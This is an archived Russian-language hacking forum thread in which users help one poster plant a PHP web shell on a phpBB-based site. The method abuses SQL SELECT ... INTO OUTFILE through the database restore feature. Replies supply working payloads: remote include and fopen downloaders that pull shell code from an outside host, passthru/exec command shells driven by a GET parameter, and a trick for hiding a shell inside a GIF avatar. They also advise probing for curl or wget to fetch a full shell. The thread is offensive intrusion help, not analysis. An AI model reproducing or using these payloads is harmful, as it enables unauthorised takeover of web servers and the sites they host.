PDA

Просмотр полной версии : Проблемы при заливке шелла


Azter
04.07.2007, 20:54
Заливаю шелл через востановление базы в phpbb
SELECT '<? @include("http://host.narod.ru/files.txt"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php';
Код исполняется это факт, но когда захожу на
http://host/Forums/images/avatars/shell.php - выбрасывает пустую страницу =( "?" - в конце не помогает.
Из-за чего такое может быть?

Y.Dmitriy
04.07.2007, 20:56
в папке куда ты залил шел находится конфигурационный файл Апача...
с параметрами: "первый нах"(шутка, но только про имя параметра...)

maxster
04.07.2007, 21:03
прав не хватает, что бы через бд файл заливать

Azter
04.07.2007, 21:23
прав не хватает, что бы через бд файл заливать
не факт, обычно если не хватает прав, то вобще ничего не создается, и выбрасывает уведомления, а тут с этим все в порядке.

c411k
04.07.2007, 21:31
если открывается пшп файл, то это уже есть гуд. скорей всего инклуд извне запрещен, так что пробни вначале SELECT '<? phpinfo() ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php';
если при заходе на сцылко shell.php покажет те пшпинфо, то можешь заливать такой код
<? passthru($_GET[cmd]); ?>

потом юзай shell.php?cmd=ls

зы. а далее ищи качалки и заливай норм шелл (which curl;which wget;which fetch;which lynx etc )

The_HuliGun
04.07.2007, 21:32
Возможно просто отключена возможность подключения удаленных файлов через include().
Создай файл с кодом

<?
phpinfo();
?>

и посмотри на директуву allow_url_fopen, если она off, тогда через include() ничего не вийдет.

nightmare007
04.07.2007, 21:38
попробуй

SELECT '<? @include("http://host.narod.ru/files.txt"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE '/bla/bla-bla/Forums/images/avatars/shell.php';

Azter
04.07.2007, 21:57
Такс phpinfo - катит
allow_url_fopen - on.
Все, теперь просто cmd - сделаю, но интересно почему - инклуд шелла не прокатил =(
Хотя все ясно
allow_url_include - Off
Чем можно заменить include? кажется можно curl, но как?

Azter
04.07.2007, 22:07
Кстати <? passthru($_GET[cmd]); ?>
не катит, при запросе любой команды тоже белая страница когда просто запустил shell.php то квакнуло Warning: passthru() [function.passthru]: Cannot execute a blank command in C:\путь_к_шелу

The_HuliGun
04.07.2007, 22:44
Может быть safe_mode = on, тогда не команды не выполняются.

maxster
04.07.2007, 23:01
попробуй багу с подменой аватарного пути

_http://forum.antichat.ru/showpost.php?p=281765&postcount=2

Spyder
04.07.2007, 23:11
хз, пробуй <? exec($_GET[cmd]); ?>

Azter
05.07.2007, 01:07
safe mode - off
Spyder
Не катит =(
maxster
А смысл? там-же тоже через инклуд(или ты о 7 способе?)

Scipio
05.07.2007, 02:11
а если сделать так?
SELECT '<? $filename = "http://host.narod.ru/files.txt"; $fd = fopen ($filename, "rb"); $fw=fopen("shell1.php","wb"); $contents = fread ($fd, filesize ($filename)); fwrite($fw,$contents); fclose($fw); fclose ($fd); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php';

Да и с путями разберись

Azter
05.07.2007, 12:41
SELECT '<? $filename = "http://host.narod.ru/files.txt"; $fd = fopen ($filename, "rb"); $fw=fopen("shell1.php","wb"); $contents = fread ($fd, filesize ($filename)); fwrite($fw,$contents); fclose($fw); fclose ($fd); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php';
выбрасывает вот такую фигню

Warning: filesize() [function.filesize]: stat failed for http://host.narod.ru/files.txt in C:\bla\bla-bla\Forums\images\avatars\image.php on line 1

Warning: fread() [function.fread]: Length parameter must be greater than 0 in C:\bla\bla-bla\Forums\images\avatars\image.php on line 1

GrAmOzEkA
Пару раз уже говорил - не прокатит инклуд.

andy13
05.07.2007, 19:28
Почему бы просто не сделать так:
<? passthru("команда"); ?>
если по-другому не получается ;)

Micr0b
05.07.2007, 19:34
andy13 - читай пост c411k на 1 странице

c411k
05.07.2007, 23:29
мдя. выставляешь в админке phpbb максимальный размер загруж авы 150кб, грузишь аву http://c411k.jino-net.ru/upload/achat.gif http://c411k.jino-net.ru/upload/achat.gif
бэкапишь бд с запросом SELECT '<?php include("/avatars/achat.gif"); ?>' FROM nuke_users LIMIT 1 INTO OUTFILE 'C:/bla/bla-bla/Forums/images/avatars/shell.php';
и у тебя есть полноценный шелл от рст. если не можешь изменить размер, то рисуешь в фотошопе пиксель 1х1, сохраняешь, открываешь в HEX-редакторе и встявляешь в конец маленький по размеру шелл.

andy13
06.07.2007, 09:01
Micr0b, я писал про вставку команд напрямую
passthru("uname -a; id ..."), а не про передачу их через запросы.

tbody
08.07.2007, 17:48
А если там стоит ASP.Net без ПХП, то что тогда использовать?
Есть только возможность править страницу.